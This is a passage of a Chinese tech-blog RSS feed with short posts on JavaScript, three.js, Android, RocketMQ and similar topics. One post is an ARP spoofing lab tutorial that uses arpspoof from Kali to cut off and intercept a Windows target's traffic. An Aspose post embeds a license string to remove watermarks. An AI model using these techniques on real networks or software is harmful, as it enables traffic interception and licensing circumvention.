再分析一下，第一行也是创建了一个空数组;第二行创建了一个长度为2的数组，数组中包含12,34，在有的浏览器中长度为3，注意一下。第三行创建了一个长度为4的空数组，数组的每一项值是undefined，有的浏览器也可能数组的长度是5。第四行创建了一项含有字符串的数组；第五行创建一个全是数值的数组，最后一行创建了一个长度为4的数组，每一项都是不同的数据类型。&#xA;注意： 1. var arr = new Array(,,,,);是报错的，而var arr = [,,,,];是可以创建数组的；以及var arr = new Array(12,34,)也是报错的，而var arr = [12,34，]是可以的，这些注意不要搞混淆了，日常工作中都不推荐此种方法创建数组； 2. 虽然两种方法都可以创建数组，但是数组字面量要比构造函数的性能好，原因是：json格式的语法浏览器引擎能直接解析，而new Array需要调用Array的构造器。日常工作中可以使用前者，方便快速省性能。&#xA;2. length属性 大家都知道length属性表示数组的长度为多少，现在用构造函数式和数组字面量式创建一个长度为10的空数组，试试看：&#xA;1 现在用数组的length属性来操作数组的长度,不用arr.pop()和arr.shift()方法怎么来搞呢？&#xA;1 分析一下：首先arr1 是一个长度为10的数组，当把数组的长度成为8的时候，此时会从数组的第一个元素开始向后截取8个作为数组的新值，此操作会改变数组。 arr2是一个长度为2的数组，将数组的长度设为100后，将依次为数组的剩余97项设置值为undefined，当再改变某一项的元素的时候就是正常的赋值了，最后一个给数组添加一项，当前数组的最后一项的索引是length-1,当arr.length就是添加一项。&#xA;3.数组的检测 数组作为引用类型之一，检测方法有两种：instanceof和isArray。其中instanceof适用于在一个网页或者一个全局作用域的情况比较实用，随着前端框架越来越多，在项目 中引入太多的框架的时候，每个框架对数组可能进行过二次封装，这样导致一个问题就是instanceof 返回的结果可能会不同，使用时得注意，基本用法如下：&#xA;1 基于以上的问题，ES5又新增了新的检测方法，isArray 来确定某个值到底是不是数组，而不用管其他的作用域问题。写法如下：&#xA;1 4.类栈操作相关 数据结构栈的特点就是后进先出(LIFO, last-in-first-out) ，比喻成容器罐好理解点，最后放的在上面，拿的时候也先从上面拿，操作推入和弹出，都发生在栈的顶部，javascript数组中有专门的方法push()和pop()来模拟栈的操作。&#xA;push()方法，接受不限制个数的参数，在数组的末尾插入元素，返回值是修改后的数组的长度，此方法会改变原数组；&#xA;pop()方法，不接受参数，从数组的末尾来删除最后一个元素，返回值是删除的元素，此方法也会改变原数组。下面我们来看看具体用法：&#xA;1 5.类队列操作相关 上面聊完了栈，现在来看看队列，相信这两个词大家都不陌生，队列的特点是：先进先出(FIFO , first-in-first-out),看做是一个空的管道比较好理解，从一端进入，另一端出去。javscript数组提供了shift()和push()方法来模拟队列的特点。&#xA;shift() , 从数组的头部删除一个元素，返回值是删除的元素，此方法会改变原数组，看看使用情况：&#xA;1 跟shift()方法结果刚好相反的是unshift()方法，shift()是从数组头部删除元素，而unshift()刚好是从头部添加元素，接受不限个数的参数，返回值是改变后的数组的长度，此方法会改变数组，其实，这个方法效果跟push()一样，只不过一个在数组前面插入，一个在后面插入，看看效果：</description>
    </item>
    <item>
      <title>什么是NTFS格式</title>
      <link>https://bchobby.github.io/posts/2986d1746fe9866c0be9af02502fd1a2/</link>
      <pubDate>Fri, 20 Nov 2020 16:51:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2986d1746fe9866c0be9af02502fd1a2/</guid>
      <description>NTFS (New Technology File System)是 Windows NT 操作环境和 Windows NT 高级服务器网络操作系统环境的文件系统。&#xA;NTFS的优点：&#xA;1.具备错误预警的文件系统。&#xA;2.文件读取速度更高效。&#xA;3.磁盘自我修复功能。&#xA;4.“防灾赈灾”的事件日志功能。&#xA;5.ntfs动态磁盘功能。&#xA;6.能解决大文件传输电脑不支持问题&#xA;FAT32 到 NTFS&#xA;例如，将D盘转换为NTFS格式，则需命令 convert d:/fs:ntfs。</description>
    </item>
    <item>
      <title>eclipse 加载android工程，报错org.apache.http.Header</title>
      <link>https://bchobby.github.io/posts/7e710d2ce95a72ba2b265359bf71c4d6/</link>
      <pubDate>Fri, 20 Nov 2020 11:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e710d2ce95a72ba2b265359bf71c4d6/</guid>
      <description>问题：eclipse 加载android工程，报错Type The type org.apache.http.Header&#xA;解决：将android SDK 下面的jar包放在对应工程的lib下解决问题&#xA;路径：android-sdk-windows\platforms\android-23\optional\ 里的org.apache.http.legacy.jar 包</description>
    </item>
    <item>
      <title>three.js之几何体-自定义二维图形ShapeGeometry(vue中使用three.js23)</title>
      <link>https://bchobby.github.io/posts/4ce5bf42b7d9b4d42e687ce989f7a102/</link>
      <pubDate>Fri, 20 Nov 2020 01:23:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ce5bf42b7d9b4d42e687ce989f7a102/</guid>
      <description>ShapeGeometry几何体介绍和使用 1.ShapeGeometry几何体介绍2.demo说明3.demo代码 1.ShapeGeometry几何体介绍 ShapeGeometry可以用来创建自定义的二维图形，实际上ShapeGeometry创建图形必须要用到基类Shape，我们先来看看它的原型链：&#xA;没错,Shape类继承自Path类，Path类由继承自CurvePath类，我们用来画图的方法实际都是从CurvePath继承来的，现在我们介绍一下这些方法：&#xA;函数名描述moveTo(x,y)将函数绘图点移动到指定的坐标lineTo(x,y)从moveTo指定的位置开始画一条线到(x,y)指定的坐标quadricCurveTo(aCPx,aCPy,x,y)(二次曲线)你可以用两种方法来定义曲线，用quadricCurveTo或bezierCurveTo函数，这两种方法的不同是一个通过一个点控制曲线的曲率，一个用两个点，下图是二者的示意图对于二次曲线，需要额外指定一个点（使用aCPx和aCPy参数），还需要指定端点（x和y）。对于三次曲线需要用bezierCurveTo函数绘制，需要多指定两个点才能绘制， 起点都是路径的当前点bezierCurveTo(aCPx1,aCPy1,aCPx2,aCPy2,x,y)根据提供的参数画一条曲线，相关说明参考前一行内容，该曲线绘制需要四个点：起点是路径的当前点，连个点用来控制曲率，最后一个点是端点splineThru(pts)该函数沿着提供的坐标集合绘制一条光滑的曲线，这个参数是一个THREE.Vector2对象数组，起点是路径的当前位置arc(ax,ay,aRadius,aStartAngle,aEndAngle,aClockwise)画圆(或者一段弧)，起始于路径的当前位置，ax和ay用来指定圆心与当前位置的偏移量，aRadius设置圆的大小，aStartAngle和aEndAngle用来定义弧的长度，布尔属性aClockwise决定这段弧是顺时针还是逆时针absArc(ax,ay,aRadius,aStartAngle,aEndAngle,aClockwise)参考arc的描述，该方法绘制的弧是绝对位置，而不是相对位置ellipse(ax,ay,xRadius,yRadius,aStartAngle,aEndAngle,aClockwise)画椭圆参考arc的描述,可以通过xRadius指定x轴半径，通过yRadius指定y轴半径absEllipse(ax,ay,xRadius,yRadius,aStartAngle,aEndAngle,aClockwise)参考ellipse的描述，该方法绘制的椭圆是绝对位置，而不是相对位置 继续往下看：&#xA;CurvePath继承自Curve类，Curve类又继承自Object类，果然一切皆对象啊，随后我们要介绍一下继承自Curve类的getPoints和getSpacedPoints方法&#xA;函数名描述getPoints(n)从路径的每一个部分返回n个点getSpacedPoints(n)从整个路径返回n个点 2.demo说明 该示例可以通过drawType属性切换不同的绘图方式，绘出上面三种不同的图形，&#xA;3.demo代码 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div id=&#34;container&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;controls-box&#34;&amp;gt; &amp;lt;section&amp;gt; &amp;lt;el-row&amp;gt; &amp;lt;el-col :span=&#34;8&#34; class=&#34;label-col&#34;&amp;gt;&amp;lt;label&amp;gt;drawType&amp;lt;/label&amp;gt;&amp;lt;/el-col&amp;gt; &amp;lt;el-col :span=&#34;16&#34;&amp;gt; &amp;lt;el-select v-model=&#34;drawType&#34; placeholder=&#34;请选择&#34;&amp;gt; &amp;lt;el-option v-for=&#34;item in options&#34; :key=&#34;item.value&#34; :label=&#34;item.label&#34; :value=&#34;item.value&#34;&amp;gt; &amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; &amp;lt;/el-col&amp;gt; &amp;lt;/el-row&amp;gt; &amp;lt;/section&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import * as THREE from &#39;three&#39; import { OrbitControls } from &#39;three/examples/jsm/controls/OrbitControls.js&#39; import { SceneUtils } from &#39;three/examples/jsm/utils/SceneUtils.js&#39; export default { data() { return { options: [ { value: &#39;asGeom&#39;, label: &#39;asGeom&#39; }, { value: &#39;asPoints&#39;, label: &#39;asPoints&#39; }, { value: &#39;asSpacedPoints&#39;, label: &#39;asSpacedPoints&#39; } ], drawType: &#39;asGeom&#39;, activeShapeMesh: null, camera: null, scene: null, renderer: null, controls: null } }, mounted() { this.</description>
    </item>
    <item>
      <title>tell网关arp包正常吗_ARP欺骗攻击及防御</title>
      <link>https://bchobby.github.io/posts/94cdca9d81336fd584b889d588983a50/</link>
      <pubDate>Fri, 20 Nov 2020 00:39:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94cdca9d81336fd584b889d588983a50/</guid>
      <description>文章来源：知了堂冯老师原创&#xA;1.回顾 ARP协议&#xA;地址解析协议，即ARP（Address Resolution Protocol），是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机，并接收返回消息，以此确定目标的物理地址，说白了就是将IP地址转化为MAC地址。&#xA;2.ARP缓存 如果每个发送IP Packet都要执行一次 ARP, 网络将是不可承受的&#xA;ARP缓存机制 Static: arp -s Dynamic: 根据ARP应答更新 ARP应答并非都是由请求触发的 主机启动时会主动发送ARP应答 刷新邻居的ARP缓存&#xA;3.ARP协议安全问题 ARP协议在设计存在着什么安全问题？ ARP广播请求／应答 ARP缓存&#xA;ARP欺骗 (ARP Spoofing) 发送伪造ARP消息，对特定IP所对应的MAC地址进行假冒欺骗，从而达到恶意目的。&#xA;4.ARP攻击原理 PC1和PC2正常通信的时候，会双方会记录对方的IP和MAC地址的映射，就是生成ARP缓存表，当PC1信息发送至交换机端口1的时候再转发到PC2，交换机同样会记录MAC1，生成一条MAC1和端口1的映射，之后交换机可以跟MAC桢的目的MAC进行端口转发。&#xA;如果现在有一台PC3，当PC1和PC2建立关系的时候，PC3处于监听状态，也就是会把广播包给丢弃，但PC3同样也可以把包抓起，并回复虚假包，告诉PC1，我是PC2，那么PC1就收到了两条PC2的回应包（一个真的，一个假的），PC1不知道谁是真谁是假，所以PC3就可以连续发包，覆盖掉真正的PC2的包，与PC1建立联系，进行ARP欺骗&#xA;5.欺骗实战 5.1断网攻击 实验准备&#xA;攻击机：kali ip：192.168.2.135&#xA;靶机 ：win10 ip：192.168.2.196 网关：192.168.2.1&#xA;攻击机发起攻击 arpspoof命令 -i（interface） 网卡eth0 -t（target） 目标IP：192.168.2.196 目标主机网关192.168.2.1&#xA;5.2 流量截获 实验准备&#xA;攻击机：kali ip：192.168.2.135&#xA;靶机 ：win10 ip：192.168.2.196 网关：192.168.2.1&#xA;攻击机发起攻击&#xA;arpspoof命令 -i（interface） 网卡eth0 -t（target） 目标IP：192.168.2.196 目标主机网关192.168.2.1 arpspoof命令 -i（interface） 网卡eth0 -t（target） 目标IP：192.168.2.1 目标主机网关192.168.2.196</description>
    </item>
    <item>
      <title>html2canvas显示错位，空白，跨域的问题解决，以及一些坑</title>
      <link>https://bchobby.github.io/posts/81b245b948ef2b642335abd483b462f4/</link>
      <pubDate>Thu, 19 Nov 2020 23:29:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81b245b948ef2b642335abd483b462f4/</guid>
      <description>首先目前几个rc版本可能表现是不一致的。比如rc5就很容易有问题。我目前使用rc1.感觉这个问题少一些。值得注意的是，如果使用Npm安装的话，要么锁版本，要么指定明确的版本。即：&#xA;// 使用--sav-exact 锁定版本 npm install html2canvas@1.0.0-rc1 --save-exact // 或者文件目录中包含了package-lock.json + src + package.json + package-lock.json + .... 空白的问题或者错位的问题。与需要生成Html所在可视区可能有关系。我这里发现如果html结构正好在可视区内外各显示一部分，那么有可能出现错位或者空白。我这里解决方案是使用固定定位，定位到可视区之外。比如：&#xA;.canvas-html { position: fixed; top:0; left:-200%; } 然后设置&#xA;{ // offset, 可尝试调整一下对应的参数 x: 0 } 最后关于跨域的问题，首先本地图片，同域的图片是没问题的。其次对于与当前域名不同的图片，如果图片所在服务器或者CDN不支持跨域，那是不可能绘的出来的，也就别费力气了。所以先和相关人协商让他们支持跨域。其次配置html2canvas的参数如下&#xA;{ useCORS: true } 值得注意的，如果本身是同域，也就是不涉及跨域，就别加这个属性。否则如果图片服务器不支持跨域导致本来没问题，结果出现跨域问题。&#xA;更多参数调整，参考官方文档 http://html2canvas.hertzen.com/configuration</description>
    </item>
    <item>
      <title>深入理解图卷积神经网络(GCN)原理</title>
      <link>https://bchobby.github.io/posts/18eee47dd100ece90ba9b7b54588a329/</link>
      <pubDate>Thu, 19 Nov 2020 23:18:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/18eee47dd100ece90ba9b7b54588a329/</guid>
      <description>深入理解图卷积神经网络(GCN)原理 文章目录 深入理解图卷积神经网络(GCN)原理前言一、为什么需要GCN二、GCN的原理1.图的定义2.GCN来了2.1 矩阵计算公式2.2 以小规模矩阵讲解公式含义2.3 综上所述： 三、GCN有多牛总结 前言 深度学习的发展日新月异，从经典的深度网络（DNN、CNN、RNN）到GAN、强化学习。深度学习覆盖的应用场景越来越丰富。今天介绍的图神经网络是另一类深度学习方法。虽然，图神经网络也可以纳入深度学习的范畴，但它有着自己独特的应用场景和算法实现，对初学者并不算太友好。GCN，全称Graph Convolutional Network，图卷积网络，本文主要实现对GCN的深入理解，帮助快速理解GCN的原理以及用途。&#xA;一、为什么需要GCN 卷积神经网络（CNN）的输入是图片等具有欧几里得结构的图结构，也就是这样的图：&#xA;从欧式空间里面利用卷积核(kernel)来提取特征，因为图片是比较规则的图结构，因此使用卷积核就可以平移提取节点特征,即CNN的核心在于它的kernel，kernel是一个个小窗口，在图片上平移，通过卷积的方式来提取特征。这里的关键在于图片结构上的平移不变性：一个小窗口无论移动到图片的哪一个位置，其内部的结构都是一模一样的，因此CNN可以实现参数共享。这就是CNN的精髓所在。但是通常我们会遇到拓扑网络或者社交网络，即如下&#xA;像这种图结构，并不整齐，一个网络包含不同数量的节点，不同的节点也包含不同的邻居，这使得传统的CNN无法作用在该图结构中，并且图中的每个node之间通常具有联系，因此当GCN问世，解决了这一难题。&#xA;二、GCN的原理 1.图的定义 图结构用G=(V,E)来表示，图包括有向图或者无向图，但是在GCN中只考虑无向图，V表示node的几何，E表示edge的几何，n表示的是node的数量，m则表示边的个数。&#xA;下面我们介绍一个图结构在GCN中各种符号表示的含义：&#xA;G = ( V , E ) 表 示 当 前 图 结 构 v i ∈ V 表 示 v i 是 一 个 n o d e e i j = ( e i , e j ) ∈ E 表 示 n o d e i 与 j 之 间 的 边 N ( v ) = { u ∈ V ∣ ( v , u ) ∈ E } 表 示 点 v 的 所 有 邻 居 集 合 A i j 表 示 图 的 邻 接 矩 阵 A i j = 1 表 示 n o d e i 和 j 之 间 存 在 边 D 表 示 当 前 图 的 度 矩 阵 ， D 是 对 角 矩 阵 d i i ∈ D 表 示 A 中 每 个 节 点 的 度 X ∈ R n × d 表 示 n 个 节 点 的 特 征 向 量 ， 特 征 向 量 维 度 是 d G=(V,E) \qquad 表示当前图结构 \\v_i\in V\qquad表示v_i是一个node \\e_{ij}=(e_i,e_j)\in E\qquad表示node\quad i与j之间的边 \\N(v)=\{u\in V|(v,u)\in E\}\qquad表示点v的所有邻居集合 \\A_{ij}\qquad表示图的邻接矩阵 \\A_{ij}=1\qquad表示node\quad i和j之间存在边 \\D\qquad 表示当前图的度矩阵，D是对角矩阵 \\d_{ii}\in D\quad 表示A中每个节点的度 \\X\in R^{n\times d}表示n个节点的特征向量，特征向量维度是d G=(V,E)表示当前图结构vi​∈V表示vi​是一个nodeeij​=(ei​,ej​)∈E表示nodei与j之间的边N(v)={u∈V∣(v,u)∈E}表示点v的所有邻居集合Aij​表示图的邻接矩阵Aij​=1表示nodei和j之间存在边D表示当前图的度矩阵，D是对角矩阵dii​∈D表示A中每个节点的度X∈Rn×d表示n个节点的特征向量，特征向量维度是d</description>
    </item>
    <item>
      <title>超声波测距模块HC-SR04简介</title>
      <link>https://bchobby.github.io/posts/62a08acfe57d622c7ef8d282cf7c4cd7/</link>
      <pubDate>Thu, 19 Nov 2020 21:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62a08acfe57d622c7ef8d282cf7c4cd7/</guid>
      <description>一、模块引脚分析&#xA;可以看到模块有四个引脚，分别是&#xA;Vcc ：5V输入，网上说3.3V输入也可以，没试过。&#xA;Trig ：触发信号输入&#xA;Echo ：回响信号输出&#xA;Gnd：地&#xA;二、工作原理&#xA;1.给超声波模块接入电源和地。&#xA;2.给脉冲触发引脚（Trig）输入一个至少10us的高电平方波&#xA;3.输入方波后，模块会自动发射8个40KHz的声波，与此同时回波引脚（Echo）端的电平会由0变为1；（此时应该启动定时器计时）&#xA;4.当超声波返回被模块接收到时，回波引 脚端的电平会由1变为0；（此时应该停止定时器计数），定时器记下的这个时间即为超声波由发射到返回的总时长。&#xA;5.根据声音在空气(25℃) 中的速度346m/s，即可计算出所测的距离。距离=高电平时间*速度/2&#xA;HC-SR04的时序图如下：</description>
    </item>
    <item>
      <title>Android 代码模拟物理按键的几种方式</title>
      <link>https://bchobby.github.io/posts/cda1b41c74729f96c8c0a169718ae607/</link>
      <pubDate>Thu, 19 Nov 2020 21:03:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cda1b41c74729f96c8c0a169718ae607/</guid>
      <description>一，通过AccessibilityService实现 简介&#xA;AccessibilityService其实是一个Servic，是其子类；设计AccessibilityService的初衷在于帮助残障用户使用android设备和应用，在后台运行，可以监听用户界面的一些状态转换，例如页面切换、焦点改变、通知、Toast，自动安装APP等模拟操作（你能做的他都能），辅助用户操作、发音（本意是这样的）等，并在触发AccessibilityEvents时由系统接收回调。后来被开发者另辟蹊径，用于一些插件开发，比如微信红包助手，还有一些需要监听第三方应用的插件。&#xA;1，能模拟的物理按键有 AccessibilityService.GLOBAL_ACTION_POWER_DIALOG 重启和关机 GLOBAL_ACTION_NOTIFICATIONS 下拉通知栏 GLOBAL_ACTION_QUICK_SETTINGS 打开快速设置 GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN 分屏 GLOBAL_ACTION_LOCK_SCREEN 锁屏----无效 GLOBAL_ACTION_KEYCODE_HEADSETHOOK 截屏 ---无效 GLOBAL_ACTION_BACK 返回 GLOBAL_ACTION_HOME 桌面 GLOBAL_ACTION_RECENTS 最近任务 2，具体实现 2.1，新建服务继承AccessibilityService，名字自定义比如我的：KeyService，如下是服务的所有代码：&#xA;package com.example.test; import android.accessibilityservice.AccessibilityService; import android.accessibilityservice.AccessibilityServiceInfo; import android.app.Instrumentation; import android.content.Context; import android.content.Intent; import android.graphics.Color; import android.graphics.PixelFormat; import android.os.Build; import android.provider.Settings; import android.text.TextUtils; import android.util.Log; import android.view.Gravity; import android.view.View; import android.view.WindowManager; import android.view.accessibility.AccessibilityEvent; import android.widget.Button; import android.widget.LinearLayout; import android.widget.Toast; public class KeyService extends AccessibilityService { private static final String TAG = KeyService.</description>
    </item>
    <item>
      <title>Java中判别是不是纯数字或者是否有数字的正则表达式</title>
      <link>https://bchobby.github.io/posts/1759bfd9c176f367b1ba533b9a9cb2b4/</link>
      <pubDate>Thu, 19 Nov 2020 20:43:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1759bfd9c176f367b1ba533b9a9cb2b4/</guid>
      <description>情景 判断输入的字符串中是否存在数字判断输入的字符串是否为纯数字 解决方案 用正则匹配解决 对场景1：是否有数字 //正则判断字符串有无数字 String haveNum = &#34;.*\\d+.*&#34;; final Pattern pattern = Pattern.compile(haveNum); Matcher match = pattern.matcher(searchParam); JSONArray jsonArray; if (match.find()) { //do something } 对场景2：是否纯数字 //判断是否为纯数字 String pureNum = &#34;-?[0-9]+(\\\\.[0-9]+)?&#34;; Pattern compile = Pattern.compile(pureNum); Matcher matcher = compile.matcher(&#34;the string need to test&#34;); if (matcher.matches()){ //do something } 注意 在使用match的时候，要注意find()和matches()的区别，前者是匹配到就返回，后者是对全字段进行检测。</description>
    </item>
    <item>
      <title>使用Aspose.cells将Excel转成PDF</title>
      <link>https://bchobby.github.io/posts/37581d04fb08ec3f81569a75ba056e95/</link>
      <pubDate>Thu, 19 Nov 2020 16:42:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37581d04fb08ec3f81569a75ba056e95/</guid>
      <description> 使用Aspose.cells将Excel转成PDF 源文档地址 https://blog.csdn.net/dxyzhbb/article/details/90408092 下载jar包 链接：https://pan.baidu.com/s/1QbhZ-6qmG1N-n6BoF3yZTQ 提取码：npdy 添加到自己的mvn仓库 mvn install:install-file -Dfile=&#34;jar包位置&#34; -DgroupId=&#34;groupId&#34; -DartifactId=&#34;artifactId&#34; -Dversion=&#34;版本&#34; -Dpackaging=jar -DgeneratePom=true -DcreateChecksum=true 导包 &amp;lt;!--将excel转成pdf（自己的打包方式）--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.aspose&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspose-cells&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.5.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 代码 @Test public void excelToPdf() throws Exception { //去除水印 String licenseXml = &#34;&amp;lt;License&amp;gt;&amp;lt;Data&amp;gt;&amp;lt;Products&amp;gt;&amp;lt;Product&amp;gt;Aspose.Total for Java&amp;lt;/Product&amp;gt;&amp;lt;Product&amp;gt;Aspose.Words for Java&amp;lt;/Product&amp;gt;&amp;lt;/Products&amp;gt;&amp;lt;EditionType&amp;gt;Enterprise&amp;lt;/EditionType&amp;gt;&amp;lt;SubscriptionExpiry&amp;gt;20991231&amp;lt;/SubscriptionExpiry&amp;gt;&amp;lt;LicenseExpiry&amp;gt;20991231&amp;lt;/LicenseExpiry&amp;gt;&amp;lt;SerialNumber&amp;gt;8bfe198c-7f0c-4ef8-8ff0-acc3237bf0d7&amp;lt;/SerialNumber&amp;gt;&amp;lt;/Data&amp;gt;&amp;lt;Signature&amp;gt;sNLLKGMUdF0r8O1kKilWAGdgfs2BvJb/2Xp8p5iuDVfZXmhppo+d0Ran1P9TKdjV4ABwAgKXxJ3jcQTqE/2IRfqwnPf8itN8aFZlV3TJPYeD3yWE7IT55Gz6EijUpC7aKeoohTb4w2fpox58wWoF3SNp6sK6jDfiAUGEHYJ9pjU=&amp;lt;/Signature&amp;gt;&amp;lt;/License&amp;gt;&#34;; ByteArrayInputStream is = new ByteArrayInputStream(licenseXml.getBytes()); com.aspose.cells.License license = new com.aspose.cel`在这里插入代码片`ls.License(); license.setLicense(is); //创建Workbook对象 Workbook workbook = new Workbook(&#34;C:\\Users\\wucn\\Desktop\\work\\OA\\测试.xls&#34;); //保存成pdf workbook.save(&#34;C:\\Users\\wucn\\Desktop\\work\\OA\\测试.xls.pdf&#34;, com.aspose.cells.SaveFormat.PDF); } </description>
    </item>
    <item>
      <title>苹果邮件怎么添加qq邮箱_iPhone自带邮件无法登陆QQ邮箱?</title>
      <link>https://bchobby.github.io/posts/2ee982b2134c1b1fa3d4c8ffb5e4e2aa/</link>
      <pubDate>Thu, 19 Nov 2020 00:46:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ee982b2134c1b1fa3d4c8ffb5e4e2aa/</guid>
      <description>要说现在什么邮箱用的最频繁，个人认为是QQ邮箱，但如今我们都喜欢在手机上处理一些事情，接收和回复邮件也不例外。不过许多iPhone用户可能都遇到过，在苹果手机自带邮件内添加QQ邮箱时，总是显示用户名或密码不正确，今天就来帮大家解决这个问题。&#xA;1️⃣ 首先打开浏览器搜索QQ邮箱，点击并登陆；(手机端需要切换成网页版)&#xA;2️⃣ 进入邮箱主页，点击设置；&#xA;3️⃣ 进入设置页面后，点击账户；&#xA;4️⃣ 选择IMAP/SMTP服务，点击开启；&#xA;5️⃣ 开启后根据弹窗内容提示，进行QQ密保短信验证；&#xA;6️⃣ 验证成功后，会收到一条IMAP/SMTP服务授权码，进入iPhone自带邮件重新输入QQ邮箱账号，密码输入刚刚收到的授权码，就能成功登陆上了。</description>
    </item>
    <item>
      <title>2020-11-18</title>
      <link>https://bchobby.github.io/posts/7bc374325b7041affdd56161e4511120/</link>
      <pubDate>Wed, 18 Nov 2020 23:32:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bc374325b7041affdd56161e4511120/</guid>
      <description>C语言中冒泡排序 分享一些关于C语言的算法，冒泡排序，这个是C语言中最常用的算法之一。主要采用的是相邻数两两进行比较的思想。如果后一个比前一个大或者小，则将其调换位置，直至所有的数都比较完。如果给定一个大小为n的数组，那么需要比较n-1趟，每一趟比较n-1-i次 ，i 表示上次循环中已经比较完的下标。写两个循环判断，如需交换则进行交换，如果不需要交换则进行下两个数的比较，直到所有的数比较完。最后，用一个循环将排序完成后的数全部输出。&#xA;代码如下：&#xA;#include &amp;lt;stdio.h&amp;gt; void bubble_sort(int arr[], int sz) { //确定冒泡排序的趟数 int i = 0; for (i = 0; i &amp;lt;= sz - 1; i++) { int flag = 1;//假设这一趟要排序的数据已经有序&#x9;int j = 0;&#x9;for (j = 0; j &amp;lt;= sz - 1 - i; j++) {&#x9;if (arr[j] &amp;gt; arr[j + 1]) {&#x9;int tmp = arr[j];&#x9;arr[j] = arr[j + 1]; arr[j + 1] = tmp; flag = 0;//本趟排序的数据其实不完全有序&#x9;}&#x9;}&#x9;if (flag == 1)&#x9;{&#x9;break;&#x9;}&#x9;} } int main() { int arr[] = { 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, }; int i = 0; int sz = sizeof(arr) / sizeof(arr[0]); bubble_sort(arr, sz);//冒泡排序函数 for (i = 0; i &amp;lt; sz; i++) { printf(&#34;</description>
    </item>
    <item>
      <title>【RocketMQ】原理分析：Broker集群模式、队列分区</title>
      <link>https://bchobby.github.io/posts/0c155ad7aa883cb66fab41dec8adc63b/</link>
      <pubDate>Wed, 18 Nov 2020 19:03:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c155ad7aa883cb66fab41dec8adc63b/</guid>
      <description>1.Broker集群模式（宏观） RocketMQ天生对集群的支持非常友好，天然支持高可用，它可以支持多主多从的部署架构，这也是和kafka大区别之一（PS：Kafka的分区副本可以看成一主多从）。&#xA;那为什么要将这么多broker组织成多主多从，而不是采用一主多从然后主节点down机后再选举啊？因为。。。RocketMQ中并没有master选举功能，在RocketMQ集群中，1台机器只能要么是Master，要么是Slave，这个在初始的机器配置里面，就定死了。不会像kafka那样存在master动态选举的功能，所以通过配置多个master节点来保证rocketMQ的高可用。&#xA;其中Master的broker id = 0，Slave 的broker id &amp;gt; 0。 有点类似于mysql的主从概念，master挂了以后，slave仍然可以提供读服务，但是由于有多主的存在，当一个master挂了以后，可以写到其他的master上。&#xA;和所有的集群角色定位一样，master节点负责接受事务请求、slave节点只负责接收读请求，并且接收master同步过来的数据和slave保持一致。&#xA;既然说到集群模式了，那我们再来看看常见的四种集群模式：&#xA;单Master&#xA;- 优点：除了配置简单没什么优点&#xA;- 缺点：不可靠，该机器重启或宕机，将导致整个服务不可用多Master&#xA;- 优点：配置简单，性能高&#xA;- 缺点：可能会有少量消息丢失（配置相关），单台机器重启或宕机期间，该机器下未被消费的消息在机器恢复前不可订阅，影响消息实时性多Master多Slave，每个Master配一个Slave，有多对Master-Slave，集群采用异步复制方式，主备有短暂消息延迟，毫秒级&#xA;- 优点：性能同多Master几乎一样，实时性高，主备间切换对应用透明，不需人工干预&#xA;- 缺点：Master宕机或磁盘损坏时会有少量消息丢失多Master多Slave，每个Master配一个Slave，有多对Master-Slave，集群采用同步双写方式，主备都写成功，向应用返回成功&#xA;- 优点：服务可用性与数据可用性非常高&#xA;- 缺点：性能比异步集群略低，当前版本主宕备不能自动切换为主 而RocketMQ采用的就是的第三种。在多主多从架构下，由于每个master可以配置多个slave，所以如果其中一个master挂了，那么只是当前Broker不能写消息了，但Consumer仍然可以从slave节点消费到。可以完美的实现rocketmq消息的高可用。&#xA;如果当前rocketmq是一主多从，就意味着无法接受发送端的消息，但是消费者仍然能够继续消费。如果当前rocketmq是多主多从，另外一个master节点仍然能够对外提供消息发送服务。 这里特别注意一点，当存在多个主节点时，一条消息只会发送到其中一个主节点。rocketmq对于多个master节点的消息发送，会做负载均衡，使得消息可以平衡的发送到多个master节点上。 一个消费者可以同时消费多个master节点上的消息，在上面这个架构图中，两个master节点恰好可以 平均分发到两个消费者上，如果此时只有一个消费者，那么这个消费者会消费两个master节点的数据。&#xA;2.Broker队列分区（微观） 在RocketMQ中，是基于多个Message Queue来实现类似于kafka的分区效果。如果一个Topic 要发送和接收的数据量非常大， 需要能支持增加并行处理的机器来提高处理速度，这时候一个Topic 可以根据需求设置一个或多个Message Queue。&#xA;Topic 有了多个Message Queue 后，消息可以并行地向各个 Message Queue 发送，消费者也可以并行地从多个Message Queue 读取消息并消费。从而提高消费者并发处理的能力与消费者拉取消息时的负载均衡&#xA;注：RocketMQ是通过多Master实现了对Producer发送消息的负载均衡，而不是kafka那样通过分区分片存储实现Producer发消息负载均衡&#xA;我们可以直接在控制台创建队列（分区）：&#xA;图中那两个参数是什么意思呢？&#xA;writeQueueNums：写队列数，表示producer发送到的MessageQueue的队列个数readQueueNums：读队列数，表示Consumer读取消息的MessageQueue队列个数 注：这两个值需要相等，在集群模式下如果不相等，writeQueueNums=6,readQueueNums=3, 